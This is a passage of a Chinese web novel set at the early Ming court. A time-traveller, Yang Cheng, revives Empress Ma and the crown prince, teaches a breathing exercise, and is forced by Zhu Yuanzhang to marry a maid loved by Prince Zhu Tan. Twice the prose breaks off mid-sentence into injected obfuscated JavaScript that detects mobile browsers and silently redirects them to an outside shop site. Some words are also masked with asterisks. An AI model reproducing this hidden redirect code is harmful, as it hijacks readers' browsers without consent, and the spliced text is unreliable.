朱标眼看朱元璋已经站起来了,大步向外走来,急得抢先一步冲上去,冲着朱檀的屁股就是一脚。 “起来!赶紧起来啊!父皇解腰带了!嗯?又系上了?他脱鞋了!” 朱元璋换武器并不是因为心疼儿子,而是他忘了自己把龙袍脱了,里面的腰带一解,衣襟就敞开了。 老朱再怎么狂放不羁,也不至于在殿外秀着胸肌,所以赶紧又系上腰带,换了一只鞋。 走到朱檀身边,一把推开拉弟弟的朱标,一鞋底子直接抽在了朱檀的后背上。 一个朴实无华的四十二码鞋印出现在朱檀的外衣上,但其实杨成能看出来,老朱是卸了劲儿的。 而且听说老朱抽别的儿子,都是抽脸的,眼前这个眉清目秀的儿子,显然是老朱的宠儿。 杨成猜得没错,眼前这位倔强的少年,确实是老朱除了朱标之外最疼爱的儿子。 朱檀,生母郭宁妃,是开国大将武定侯郭英的妹妹,也是朱元璋最宠爱的妃子。 郭宁妃跟随朱元璋时,朱元璋也还只是个平平无奇的义军头目,所以两人感情很好。 朱檀是郭宁妃唯一的儿子,出生两个月就封了鲁王。这小子打小就聪明,琴棋书画样样精通。 难得的是,他虽如此优秀,却不骄傲。礼贤下士,和睦兄弟,也难怪朱元璋稀罕他。 可现在就是这么个十全大补的好儿子,跪在地上连哭带嚎的,搞得朱元璋十分窝火。 “父皇,你告诉我,淑儿还没死,是不是?你要杀她就先杀了我吧,我的父皇啊!” 朱檀拖着长音哭着,让杨成想起了后世的东北二人转,也听明白了这事应该是因为一个叫淑儿的女子。 就在忙乱之时,后宫方向有一群人走了过来,侍卫们纷纷后退低头,杨成未得旨意,还在殿内,反倒省事了。 一群人走到跟前,却是一群宫女太监扶着马皇后,李淑妃和郭宁妃跟在身旁。 朱元璋看见马皇后的脸色很差,顿时火儿了,恶狠狠地瞪着郭宁妃。 “你平时那么懂事儿,怎么今天和你儿子一样,昏了头了?什么大不了的事儿,也敢去惊动皇后?” 郭宁妃垂着头,一声不敢出,只是心疼地看着儿子后背上的鞋印儿抹眼泪。 马皇后喘了口气:“你别骂她,不是她找的我。是我从后宫听见了外面的动静,问了太监才知道的! 我说这两天,淑儿怎么不见了,原来是被你抓走了。你抓人怎么也不跟我说一声?” 朱元璋脸色尴尬,就像他不是抓人了,而是偷人了一样。 “这不是啥大事儿啊,你身边宫女多着呢,她犯了错,咱替你处理了,省得你操心嘛。” 马皇后又喘了两口气,指着跪在地上的朱檀,和偷偷帮朱檀扑拉鞋印的朱标说道。 “那檀儿呢?他又怎了?他犯了什么错了,你要这么打他?” 朱元璋穿上鞋,上前搀扶马皇后往殿里走,却忘了殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17442328|199662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里还有个杨成呢。 当一群后宫嫔妃跟着朱元璋涌进殿里时,杨成目瞪口呆,想了一下,解下腰带,把眼睛蒙上了。 马皇后进屋看见杨成,也吓了一跳:“皇上,这又是你找来算命的吗?我不是说过了吗,生死有命,你别瞎折腾了。” 朱元璋见杨成一副五竹的造型,也知道是自己疏忽了,倒也没怪杨成,还帮他解释一下。 “妹子,这就是咱跟你说过的杨成,杨老虎的孙子。这小子很不错,亲自押送税银上京来的。 他不是瞎子,这不是看见你们进来了,他又不是宫中侍卫,怕失礼才这样的。” 马皇后坐在朱元璋的龙椅上,喘了几口气,才笑着开口。 “原来如此,也可算是故人之子了。唉,时间过得真快呀,当**儿,就像昨天刚发生的一样。” 朱元璋忽然想到了一件事:“对了,咱不是给了你锦衣卫的身份了吗,锦衣卫分宫内宫外。 再赐你个内卫,回头让**骧给你内卫的腰牌,你把那玩意摘下去吧,看着别扭。” 马皇后看了朱元璋一眼,立刻知道丈夫这是没安好心。 刚见面的一个少年,又不是开国勋贵之后,忽然就赐了锦衣卫的身份,肯定不光是为了税银的事儿。 朱元璋从乞丐一路干到皇帝,资产翻了无穷翻,什么时候做过赔本儿的买卖? 不过她暂时没心思考虑这个问题,眼前有更急迫的事儿。她不让朱元璋转移话题。 “你瞒着我,我也知道。我也有耳朵有眼睛。不就是檀儿喜欢淑儿吗,你至于**吗?” 朱元璋别过脸去,语气也略显生硬:“檀儿从小太讨人喜欢,结果让你们给惯坏了! 他是大明皇子,是堂堂鲁王!方淑儿是什么人?是后宫宫女!这是小事儿吗?这是秽乱宫闱!” 马皇后连续喘了好几口气:“他们又没做出什么来,只是互相喜欢,怎么就秽乱宫闱了? 秽乱宫闱是大罪,其罪首在皇后!我是六宫之首,你把我和淑儿一起杀了吧!” 也许是太过激动,话没说完,马皇后一口气没喘上来,脸色发青,直接歪倒在了龙椅上。 第八十九章 马皇后** 这一下殿中顿时大乱,两个妃子上前搀扶,宫女太监乱成一团,大喊太医快来。 朱标本来在殿外陪着跪地不起的朱檀,听见屋内混乱,顿时觉得不妙,拼命往屋里跑。 想不到刚跑到殿门口,就觉得心口一疼,眼前一黑,直接绊在了门槛上,整个人摔进了屋里。 杨成手疾眼快,俯身一把将朱标托住,再看朱元璋站在原地,扎煞着两只手,脸色煞白。 一边是昏倒的儿子,一边是昏倒的妻子,一时间竟然不知该先顾哪个好了。 杨成看了朱标一眼,牙关紧咬,眉头皱起,嘴唇微微发青,知道这是血不归心的症状。 当初为了复杂原因教了杨成一身功夫的师父,习武之路十分坎坷,堪称逼上梁山。 据老头儿说,他先天性心脏病,加先天性气管炎,加先天性胃痉挛,加先天性肝硬化。 杨成认为老头儿的话有一定夸张之处,因为如果一个孩子真能集齐这些成就,估计早就**。 但老头儿言之凿凿,说他就是因为体弱多病,父母才送他去习武,图个强身健体的。 想不到他东学西学的,最终入了这个门派,把一身的病都练好了,享年九十九点九九九岁。 杨成后来觉得老头儿可能并不是完全骗自己的,以为他的功夫远不如老头,此后余生也没怎么生过病。 所以那个小明星在自己红酒里下的东西,大概率不是普通药物,否则以自己的身体绝不可能舒服死。 不过老头教的功夫,只能让自己强身健体,并没有什么真气外放给人治病的能力。 用来打架倒是很管用,可眼下最需要自己装逼的时候,自己却无能为力,真是愧对爽文二字。 但习武之人半个医也不是白说的,虽然不能治病,应急抢救一下还是可以的。 杨成一只手按在朱标的心脏部位,另一只手用寸劲砸在自己手上,让力道直击心脏。 一下,两下,三下,朱标猛地颤了一下,心脏跳动重新有力了起来,缓缓睁开眼睛。 此时几个御医已经连滚带爬地冲了进来,兵分两路,一路直奔马皇后,一路直奔朱标。 朱标还躺在杨成怀里,就连连摆手:“我没事了,去看母后,去看母后!” 几个御医急刹车,又向马皇后冲过去,但他们还是留下了一个御医,给朱标搭了搭脉。 这是必要措施,不是针对朱标的,是针对御医们自己的。 虽然朱标觉得自己没事儿,虽然大家也都觉得朱标没事儿,但这个流程必须走。 想想当年没跳下河的侍卫们,他们当时肯定也是觉得下去那么多人,朱标已经没事了…… 杨成这才放开朱标,御医诊了一会脉,松了口气,语气也十分笃定起来。 “殿下并无大碍,不过是一时情急,血不归心。此时脉象平和,身体康健。” 杨成想想历史上四十岁就**的朱标,总觉得这事儿不那么简单,但他医道不深,不敢妄言。 朱标挣扎着爬起来,去看马皇后,此时几个御医闭着眼睛,占领了马皇后的两条胳膊。 因为手腕脉门容不下那么多只手,他们只能轮流使用,但又不敢无所事事,生怕被老朱误会推卸责任,嫌水凉。 所以只能退而求其次,在靠近手腕的胳膊上假装摸摸,倒也能将就。 众人摸了片刻,个个面露诧异惊慌之色,却是没一个人敢开口下定论。 朱元璋急得扔下金丝冠,直抓头发,却又不敢马上发怒,怕影响了御医看病。 杨成在旁边看了一眼,只见马皇后面色苍白,昏迷中手指尖还在微微发颤。 再联想到刚才的情景,他忽然产生了一个想法,于是凑过来,问占领了左手脉门的御医。 “娘娘的脉搏是不是又快又弱,似有**之象?” 御医们本来都摸出了类似**的迹象,但他们谁也不敢说。 这就像小孩儿们玩儿的一种游戏,叫扒尿炕,一根棍儿立在沙子里,大家轮流扒沙子。 只要时间足够长,总会有个倒霉蛋儿把棍碰倒,于是被诅咒晚上会尿炕。 现在大家都按着胳膊不说话,就是在等一个倒霉蛋儿的出现。 奈何能在太医院混下去的御医,没有一个不是人精的,谁也不肯挺 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“杨成,母后的气脉一直偏弱,平时冬天都得开着窗户透透气,你这是干什么?” 杨成不搭理他们,只是盯着马皇后的脸色,他自己的心也砰砰地跳得很快,但愿自己判断没错。 金丝冠是以铜为骨架,以金丝为线编制而成,精巧绝伦,金丝能阻挡视线,看不见里面的头发。 但金丝之间的微小空隙,又能保持一定的透气性,保证皇上的龙头在夏天不会闷出痱子来。 此时杨成将金丝冠扣在马皇后的脸上,鼻子和嘴都遮住了,能看见冠上弹性极好的金丝在微微颤动。 金丝冠遮住了马皇后脸的中央部位,半柱香的功夫后,马皇后苍白的脸上出现了血色,手指的颤抖也渐渐平复。 然后是两声咳嗽,在金丝冠里响起,回音效果很好,就像QQ又上线了一样。 杨成这才挪开金丝冠,顺手递给朱元璋,朱元璋心不在焉,顺手接过来又戴在头上了。 “杨成,这是怎么回事?你刚才说皇后**了,到底是什么毒?” 第九十章 空气有毒 杨成随手指了指,众人眼睛跟着看,然后发现他指的方向上啥也没有。 “其实毒就在空气中……” 众**惊,都下意识地捂住口鼻,唯有朱标一只手捂住了朱元璋的口鼻,另一只手捂着马皇后的。 然后众人一愣,集体放开自己的口鼻,七手八脚地去捂朱标的口鼻。 杨成摆摆手:“大家别慌,空气中本没有毒,而是空气本身就是毒物,把手都放下吧。” 朱标犹豫着放下手,朱元璋擦了擦嘴,没好气地瞪了杨成一眼。 要不是这小子刚才救驾有功,就凭他这吞吞吐吐的劲儿,就想让他当太监!专业对口儿! 之前占领马皇后脉门的御史,是太医院的医正,听了杨成话,忍不住开口反驳。 “空气本身是毒物?这真是奇言怪论。若是空气有毒,人们岂不都**了?” 杨成点点头:“其实日常生活中的很多东西,都是有毒的,只是量大量小的问题。 所谓有毒无毒,不在于东西本身,而是指这东西对人体是否能引起**反应。” 医正虽然对刚才杨成救醒马皇后的手段感到新奇,但对杨成的谬论还是不能苟同。 “物有毒无毒,当然是在于东西本身啊,**有毒,不止人吃了**,猫狗吃了也**啊! 五谷无毒,不光人吃了不**,猫狗吃了也不**,可见是否毒物,就在自身啊。” 杨成笑道:“阁下可知两广、福建等地有一种叫蛇獴的动物?那动物以蛇为食。 不管多厉害的毒蛇咬了蛇獴,蛇獴都不会**。可见,蛇毒对蛇獴就是无毒之物。 可人若被毒蛇咬了,就会丧命,那你说,毒蛇究竟是有毒无毒呢?” 医正一时无话可说,朱元璋看了医正一眼,心说大家都等着听答案呢,你卖弄什么学识啊。 杨成指着桌上的茶杯:“其实不光是空气,就是水,只要过量,对人也是有毒的。 所以儒家讲过犹不及,道家讲阴阳相生,武者讲刚柔并济,医者讲虚实互补。 娘娘听了消息,心中急切,呼吸就容易急促。又从后宫一路疾行至此,呼吸更是急上加急。 到了此处和皇上一通争吵,情绪更加激动,呼吸就更是急促无比。 短时间内大量地吸入空气,就会引起**,轻者面色苍白,手脚震颤。 重者浑身麻木,意识昏迷。若拖的时间长了,甚至有可能……” 杨成的话没说完,但大家都明白是什么意思。医正兀自不服,小声嘀咕。 “那么多宫女和嫔妃,都是一起跑过来的,郭宁妃该更急才是吧……” 众人也都有这个疑问,故而也没人斥责医正无理,都想听杨成解释一下。 毕竟连呼吸都是错的日子太吓人了,不弄明白,以后还怎么呼吸自由香甜的空气? 杨成看了看马皇后的脸色,确定她已经没事儿了。别自己在这里侃侃而谈,那边忽然又昏过去,就尴尬了。 正好马皇后也看着杨成,两人目光相遇,马皇后微笑着冲他点点头,眼神中带着温暖和慈祥。 “我想原因有三:一是娘娘年长,身体比她们都弱,同样的运动量,呼吸更急促。 二是到了之后,其他人一言未发,只有娘娘和皇上争吵,所以影响最大。 三是娘娘本身气脉弱,平时身体已经习惯了呼吸不畅,空气摄入量小。 今日忽然之间吸入大量空气,身体一时间未能适应,故而**昏倒了。” 朱元璋摘下自己的金丝冠,上下端详着:“所以你用金丝冠,是为了减少皇后吸入的空气?” 杨成尽量用好解释的词来说:“皇上,人吸入的空气,和呼出的空气是不同的。 其实呼出的空气,若是吸得多了,也是有毒的。 皇上想想,当你冬日关门关窗,和多人在房中议事时,是否胸闷气短,头晕眼花?” 众人都若有所思,这事很常见,大家都有这种生活经历。 “此时就需要开窗透气,把新鲜的空气放进来。吸入之气和呼出之气,两者互为解药。 今后若再有人有此症状,也可依法办理。不需要用金丝冠,若有丝巾蒙一下口鼻也可。” 众人不明觉厉,都用敬畏的目光看着杨成。老朱当然是不敬畏的,但他看着杨成的眼神儿变得更加热切了。 “杨成,想不到你还精通医道。你给咱说说,皇后是个啥病,要不要紧?” 杨成一愣:“皇上,草民只是略懂些人体急救之法,并非精通医道,草民不会看病……” 朱元璋摆摆手:“不要自称草民了,朕既然封你为锦衣卫内卫,按规矩该称臣。 朕看人一向很准的,现在朕让你说,你就大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444615|199662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胆的说,你也不想别人说朕看人不准吧?” 杨成心说你看人准吗?看人准还杀了那么多人,难道是你一开始就看出他们该杀,然后故意让他们当官的吗? 所以,你杀官是为了省俸禄?这倒是好办法,不但不用给离职补偿,连退休金都省了! 可现在不是腹诽这个的时候,老朱把驾校语言都说出来了,杨成就没法拒绝了。 “皇上,草……臣斗胆姑妄言之,还请各位御医指点。” 杨成断句时把“草”的音标稍微调整了一点,悄悄宣泄了一下对老朱的不满。 “娘娘呼吸时带有杂音,且太子说娘娘气脉不畅,应该是气管和肺部有炎症,也就是肺火旺盛。” 御医们连连点头,表示不错,跟我们的医案一致,很好。 “此症除了睡眠不安,呼吸不畅外,后期会经常发低烧,但不是很热,只是全身酸痛无力,可对?” 马皇后听到“后期”两个字,心里一酸,但脸上笑容依旧,轻轻点头,示意不错。 “若已有此症状,则娘娘……是否已经开始咳血,且每咳一次,呼吸就更困难些?” 这些症状,御医其实也都知道,但他们跟朱元璋说的时候,总是拐弯抹角的,尽量说得平和些。 所以朱元璋一直都对马皇后的病情抱有希望,此时听杨成说得如此直白简单,心里越来越凉。 马皇后轻声笑道:“说的都不错,果然有本事。杨成,趁着大家都在,你直接告诉我和皇上吧,我还有多久。 如此后宫之事我也更好安排,这些御医也能解脱,他们现在给我看病,简直就像上刑场一样。” 朱元璋急了,大声道:“你胡说什么?什么安排后宫,什么解脱御医,说这些干什么! 杨成,你告诉咱,皇后几年之内不要紧?你放心,说少了咱不怪你!” 杨成心说你还真是大度啊,可惜自己又不是流浪算命的,算完就跑,可以报喜不报忧。 马皇后明显是长期的气管炎,肺部感染虽然有中药在控制,但毕竟不是后世的特效药,已经很严重了。 按这个症状,有一定医学常识的人都知道,以现在的医疗条件,马皇后很难撑过这个冬天了。 “皇上,此症最怕寒冬。若娘娘能熬过这个冬天,来年春暖花开,就暂时不要紧了。只怕……” 第九十一章 治病 尽管杨成已经说得很委婉了,语气也尽可能地乐观一点,但朱元璋还是听懂了。 他颓然蹲在地上,两手抓着头发,一点也不像个皇帝,倒像个愁苦的庄稼汉。 没人敢笑话他这不雅的姿势,每个人心里都很难过,包括在后宫排在第二顺位的李淑妃,也是如此。 她丝毫不觉得接班儿有什么好,马皇后活着,她更轻松,不用面对一个杀气腾腾的皇帝。 只有一众御医,脸上苦闷,心里却乐开了花,如果不是形势所迫,他们恨不得蹦个迪庆祝一下。 马皇后病情恶化已经一年了,一年了呀,你知道这一年我等是怎么过的吗? 没完没了的会诊,没完没了的汇报,没完没了的死亡威胁,没完没了的提心吊胆。 如今我等终于要解脱了!这可不是我等说的,是这小子说的! 啊,我说皇上啊,你要怪就怪他吧…… 许久之后,愁苦农民朱元璋缓缓站起身来,就像一头猛虎从山尖上升起,众人顿时觉得一股恐惧笼罩全屋。 “杨成,不管你有什么办法,都使出来吧。能治好,咱重重赏你,治不好……咱不怪你。” 御医们都惊呆了,皇上,你当初跟我们可不是这么说的呀! 治好了重赏,治不好不怪,这好事……理当是太医院的呀,咋能落到一个乡野村夫……锦衣卫手里呢? 医正五体投地,声音颤抖:“圣主啊,圣主啊!皇上仁慈,古今罕有!我等定当竭尽全力……” “滚吧,连空气有毒都不知道,还治个屁!你们都给皇后治了十年了,越治越重!滚!” 御医们灰溜溜地告退了,心里都是十分委屈的。 空气有毒这事儿,师父没教过,医书没写过,谁他妈的知道是真有毒还是假有毒,没准是那厮胡说的呢! “站住,医正回来!”朱元璋忽然撤回了一个医正。 医正大喜,皇上终究是信不过野路子啊,就算让他治,也得老夫在旁辅助! 如此一来,治不好就算皇上食言怪罪,也是他倒霉;治好了,老夫自然也有襄助之功! “你,给咱呼吸。” 医正一愣,下意识地差点屏住呼吸。狐疑地看着朱元璋。 “臣,臣一直在呼吸呢,一直也没听过。” “太慢了,快点呼吸,再快,再快点!” 医正明白了,皇上果然还是不全信杨成的,要拿自己做个实验。 医正卖力地呼吸着,作为一个健康强壮的男人,他其实也不相信空气会有毒。 所以医正的胸口越动越快,众所周知,男人一旦动起来,就很难停下来,就像拉起来的风箱,转起来的风扇,开起来的车。 几分钟之后,医正的脸色开始发白,嘴角发麻,手指发颤,他吓得赶紧停下了。 “谁让你停的,症状还不够明显,没准是累的,继续!” 医正知道自己作为服务业者,对方没满意,自己就不能停,只能咬牙继续。 终于,医正挺不住了,一阵眩晕摔倒在地,手脚抽搐,脸色白中带青。 杨成跟宫女要了一块丝巾,蒙住了医正的脸,好一会儿医正才缓过劲儿来。 朱元璋冷冷说道:“你身为医正,执掌太医院,可谓锦衣玉食,可却如此无能! 从十年前皇后就有了症状,朕让你们治,你们今天一个方子,明天一个方子,结果呢? 结果就是皇后越病越重!要不是皇后一再劝阻,朕恨不得杀了你们这群吃干饭的废物! 今天就算是罚过你了,回去好好整饬太医院,尸位素餐的无能之辈,都给朕赶走!滚吧!” 医正连连点头,诱发了还没完全消退的碱中毒,差点在武英殿里吐出来。 他赶紧捂着嘴跑出殿去,等在外面的御医个个心惊胆战,但又如释重负,靴子总算落地了。 马皇后看着朱元璋铁青的脸,微笑着叹了口气:“你何必发这么大火。” 她又看了看杨成:“孩子,你不用给我治,我也不让你治。 免得他说话不算话。万一等我没了,他翻后账,你可受不了。” 朱元璋又急又气,竟然说不出话来,杨成心里却是有些酸涩。 其实他确实是在想一个可以推脱的理由,但马皇后这一番话,反而让他有些难受了。 算了,是福不是祸,是祸躲不过,死马当活马医吧。 嗯?死马当活马医,这句话好贴切啊! “娘娘,臣不会治病。但臣有一套家传的强身健体之术,臣自由练习,极少生病。” 朱元璋狐疑地看着杨成:“杨老虎也算不上高寿吧,他七个儿子……” 随即朱元璋想起自己还要依靠杨成治病,打人不打脸,何况人家爹和叔叔是战死的,也不是病死的。 杨成找补一下:“臣祖父是战场上受了重伤,如果没有这套功法,只怕还不能安享天年呢。 皇上你想想,除了我家,你还见过连父带子八个人,都这么武功高强,能征善战的吗?” 朱元璋点点头:“当然有,你当朕没看过杨家将吗?话说回来,你家是不是杨家将后人啊?” 杨成愣了一下:“家谱上没写,不过没准啊。那皇上就更得信了,佘太君可活了一百多岁呢!” 朱元璋的眼睛里放出希望的光,一个人绝望的时候,任何一根稻草在他眼中都像参天大树。 此刻杨成在朱元璋眼里,就是那根救命的稻草,又粗,又直,又长,又硬。 “这功法是像那些内功高手一样,渡什么真气给皇后吗?需要怎么渡?用手吗……” 朱元璋忽然停住话头,把目光投向了杨成的下三路,显然如果真有需要,他不介意先把杨成变成太监。 人才固然难得,但人才还可以再找。不能耽误了给妹子看病,那比什么都重要…… 杨成敏锐的察觉到了危险,赶紧说道:“不需如此,臣也没有真气,不会渡真气治病。 臣把这套功法交给娘娘,娘娘照此练习。如果上天垂怜,娘娘能在入冬之前能有些效果,也许就能延缓些时日。 另外……太子如果有时间,最好也能练一练,对他也有好处。” 朱元璋沉思片刻:“那朕呢,既然强身健体,那朕是不是也可以练一练?” 第九十二章 老朱甩锅 杨成点点头:“可以练,不过这功法很挑人的,有的人有效,有的人无效,只能碰运气。” 这倒不是杨成故弄玄虚,当年老头儿就是这么跟杨成说的,听着有点先天根骨的意思。 朱元璋倒也不太在乎,他戎马半生,自觉身体倍儿棒,吃嘛倍儿香,练不练关系也不大。 他主要是不轻信任何人,就像刚才,他借着惩罚医正的机会,到底还是验证了一下空气有毒的理论。 现在媳妇儿子都要练杨成的劳什子功法,他自己不亲身体会,当一下质检员,始终是不放心的。 朱元璋是主观能动性很强的行动派,既然决定让马皇后尝试新疗法,就立刻带着众人起驾回后宫开练。 一群宫女太监簇拥着帝后太子,以及江湖郎中杨成呼啦啦地奔后宫去了,全然遗忘了还跪在地上的鲁王朱檀。 朱檀望着众人的背影,和身边几个跟自己大眼瞪小眼的侍卫,忍不住悲从中来。 “父皇、母后,母妃,你们放了淑儿啊,要不我就跪死在这儿!” 马皇后的坤宁宫里,所有人退到外面,屋里四人围着一个方桌坐定,摆出打麻将的阵型。 杨成的功法并不复杂,其实也是以呼吸吐纳为主,但实操细节别具一格。 老头儿当年告诉杨成,华佗的功夫是从五禽戏里领悟的,这套功法是从乌龟和兔子身上领悟的。 讲究一个动如脱兔,静若乌龟。打架时如兔,养生时如龟,也算是刚柔并济,动静相生。 时间紧迫,杨成只教给他们乌龟的那部分,让他们尝试调整呼吸之法,感受全身静止的轻松。 “百败千伤,皆因妄动。生而永动,日耗其精。待到精尽,亡而归静。 静以养精,以御百病。以静制动,杂念不生。绵绵其存,如日当空。” 在杨成如催眠一般的口诀中,马皇后率先进入了状态,感觉自己艰涩的呼吸比平时似乎顺畅了一些。 原本需要用尽全力才能吸进体内的空气,在极静状态下,就像自然飘进身体里一样,十分有趣。 朱标略有一点感觉,但他心里还想着很多事儿,很难完全静下心来,时不时被杂念打断。 至于朱元璋,则完全没有感觉,他不时睁开眼睛,狐疑地盯着杨成,寻找他脸上是否存在诈骗分子的表情。 不过看着媳妇一脸舒服的表情,朱元璋还是生出了些许希望:没准真的能有点效果呢! 不知不觉间,两个时辰过去了。杨成开始检查作业,让马皇后自己练一遍。 确认没什么错误后,杨成又把口诀给马皇后写了下来,并再三叮嘱。 “这些口诀只是起辅助作用的,你只要记住呼吸运转之法即可。若练功时心有杂念,可念念口诀静心。” 马皇后微笑点头,顺手拿起桌子上的糕点来,请杨成吃一块儿。 杨成谢恩领赏后,看了一眼就笑了:“娘娘,这点心是桂花斋的,我平时也能吃到。 桂花斋的东家常采买杨家湾的糖霜,憋着一口气说要夺回朝贡呢,想不到已经成功了?” 马皇后笑道:“应该还不是贡品,否则魏国公夫人也不会专门给我送来了。 既如此,我问问李淑妃,这点心既然好吃,又与你有渊源,重新给个朝贡的位份吧。” 杨成没说什么,桂花斋成为贡品是早晚的事儿,自己若太高兴,会显得别有用心。 马皇后此时觉得呼吸顺畅些,精神头又来了,想起了自己昏迷前的事儿。 “重八,我知道檀儿和方淑儿的事你做的并没有错,不过念在方淑儿伺候我几年的份上,你就饶她一命吧。” 朱元璋叹了口气:“妹子,你不知道咱的难处。为何自古皇宫里男女大防远甚于其他地方? 因为皇宫是天下权力中心,而这份权利就是靠血缘维系的。 宫中男女之事,乱的不止是宫中,更可能会乱天下,所以再怎么小心严苛也不为过。” 说到这儿,朱元璋看了朱标一眼,他这番话一大半儿是说给朱标听的。 因为他知道,自己活着,杀伐果断,就算马皇后病重无力理事,后宫也乱不了。 儿子宽厚仁慈,若是一时心软,放纵了后宫,就有可能被人偷家。 “宫中女子,在这权力中心耳濡目染,就是再单纯再蠢笨的,也都有了心机。 太监被去势了,尚且心心念念想要获得钱财权利,女子难道就没有这个心思? 不是所有女子都把心思放在皇上身上的,太子也是不错的选择。 当年武则天要不是勾引了太子,能从一个才人成为皇后,最后成为皇帝吗?” 朱标虽然不怕老朱疑心,但也被这个比喻吓了一跳,赶紧表示自己绝不会被勾引。 老朱哼了一声:“除了太子,还有其他皇子呢。皇子就算无心,却难保宫女有心。 人非圣贤,皇子也是男人,也会犯男人都会犯的错误。 像檀儿就是,他若是在宫外找个女子,只要家世清白,咱也不难为他,当个侧妃也行。 可若是咱这次放过方淑儿,让她真和檀儿走到一起,成了鲁王侧妃,其他宫女会怎么想? 哦,原来改变命运如此容易,只要勾引来宫中的皇子王爷就行了呀。 一旦成功,就飞上枝头变凤凰了。就算失败,也不会受到什么惩罚,那谁还不干?” 马皇后默然,她知道朱元璋说的是对的,可她还是对这个温柔懂事儿的女孩儿心存怜悯。 人养只小猫小狗,时间长了,还会有感情,方淑儿从小伺候马皇后,自然也有感情。 “重八,别杀她。让她再也见不到檀儿也就是了。檀儿还小,不定性,过两年就忘了。” 朱元璋见马皇后病体沉重,一句句重八叫得他心口儿疼,如果杨成靠不住,这没准就是妹子的遗愿了…… 嗯?朱元璋忽然灵机一动,想出了一个绝妙的主意。 “杨成,你这次押运税银,抓贪官的功劳,咱已经把海盐从东吴旧地中划出来,算赏过了。 可你救醒太子,救醒皇后的功劳,咱还没赏你呢。咱一向赏罚分明,不能亏待了你。 你不是要兼祧七家的吗,想来要找年貌相当,人品出众的女子,也不那么好找。 这方淑儿是皇后亲自调教数年的,温柔懂事,富贵大气,朕决定赐婚给你,以表恩宠!” 第九十三章 赐婚 杨成本来在津津有味地吃瓜,想不到朱元璋直接把瓜扣到了他的头上。 朱元璋还一副得意扬扬的样子,很是为自己想到了这样一个两全其美的主意而自豪。 杨成的脑海中瞬间闪过一个成语——“恩将仇报”! 老子给你当牛马,你他娘的把我耍! 这是赐婚吗?这是让我给你儿子刷锅!说什么她跟你儿子没事儿,鬼才信呢! 你看你儿子在外面哭天抢地那个劲儿,像是没事的样儿吗? 这也就罢了,人在屋檐下,不得不刷锅。而且隔夜饭炒好了更香,问题是没那么简单啊! 在你看来,我是给你儿子接盘了;可在你儿子看来,他是被我绿了呀! 你的儿子们都是什么德行,你不知道,我可太知道了。 不是没有好的,但坏的更多,而且很多都他妈的坏出了天际。 从朱檀这小子敢闯宫就知道,这也不是个老实的,保不准哪天就会提刀去杨家湾找我。 到时候如果我把他捅了,以你出了名的护犊子,你肯定是会治我大罪的。 如果是他把我捅了,那不用问,你肯定是表示遗憾,能掉两滴眼泪都算你有良心。 所以想来想去,这事儿决不能干。这不是替人刷锅,这是下油锅! “皇上,此举不妥。与皇家有染的女子,臣如何敢觊觎?还请皇上收回成命。” 朱元璋眯起眼睛看了看杨成,语气在冷峻中带着惊奇,这个语气杨成很熟悉。 在后世有小混混在杨成面前撒野时,他身边的人就是这样的语气,恼怒中带着不可思议。 “杨成,你没听说过,君有赐,臣不可辞吗?别说朕赐你个女子,就是赐你死,你也不能辞。” 杨成知道,这时候自己如果敢来一句“臣宁死不从”,以老朱的性格,真会砍了自己的。 所以他保持沉默,因为他知道,以眼下的局势,只要他沉默,自然就有人会说话的。 果然,朱标先开口了:“父皇,杨成是有功之臣,在这种事上,父皇……不该强人所难。” 朱元璋皱皱眉:“那你给咱出个好主意?如果没有更好的主意,就闭嘴!” 朱标想了想,没有更好的主意,真的就闭嘴了,然后给杨成使了个眼色,示意他答应下来。 马皇后轻叹一声:“杨成,皇上的主意,其实是不错的。你也不用心里不舒服。 方淑儿跟在我身边,我最清楚她了,她只是和檀儿有些情义,并无苟且之事。 你若是担心檀儿将来找你麻烦,那也好办,我告诉他,方淑儿已经死了,一了百了。” 见老朱家一家三口已经统一了阵线,杨成知道自己无力再反抗了,就只能享受了。 “既然如此,臣只能领旨谢恩了。” 朱元璋哼了一声:“赶在领旨谢恩之前,加上只能二字的,朕还就见过你一个。” 但朱元璋也知道自己有些过分,对杨成的不情愿也没有过多责怪,只是吩咐太监将人带来。 片刻后,一个脸色苍白,白皙美丽的女子被太监们拖了进来。 她平时常穿的宫女锦服已经被扒下去了,只剩下月白色的内衣,但这个内衣不是你们幻想的三点式。 那是贴身穿的白绸子做成的长衫,只是特别贴身,特别薄,没有领子。 因为内衣的特性,身材就一览无遗。所以杨成看见方淑儿的第一眼,就得出了两个结论。 第一是难怪朱檀这小子连哭带嚎,念念不忘,哪个男人经得起这样的考验? 第二是母亲看见这姑娘定然十分欢喜,不但传承一房香火没问题,没准还能扶贫一下其他房的。 但方淑儿是很不欢喜的,她光滑的脸蛋儿上,泪水打着滑地掉下来,落在高耸的成竹上。 她确实很漂亮,但宫女里比她漂亮的也不是没有,可朱檀一眼就从百花丛中看到了她。 因为她傲人的身材,就像萤火虫的屁股一样闪闪发亮,对毛头小子充满了致命诱惑。 看见杨成的眼神儿,朱元璋又哼了一声,充满了“看看你那德行,刚才的委屈劲呢”? “方淑儿,你勾引皇子,行为不检,居心叵测,祸乱后宫,按规矩朕该勒死你。 皇后心念旧情,饶你一命。从今以后,你就不叫方淑儿了,就叫朱淑女吧。 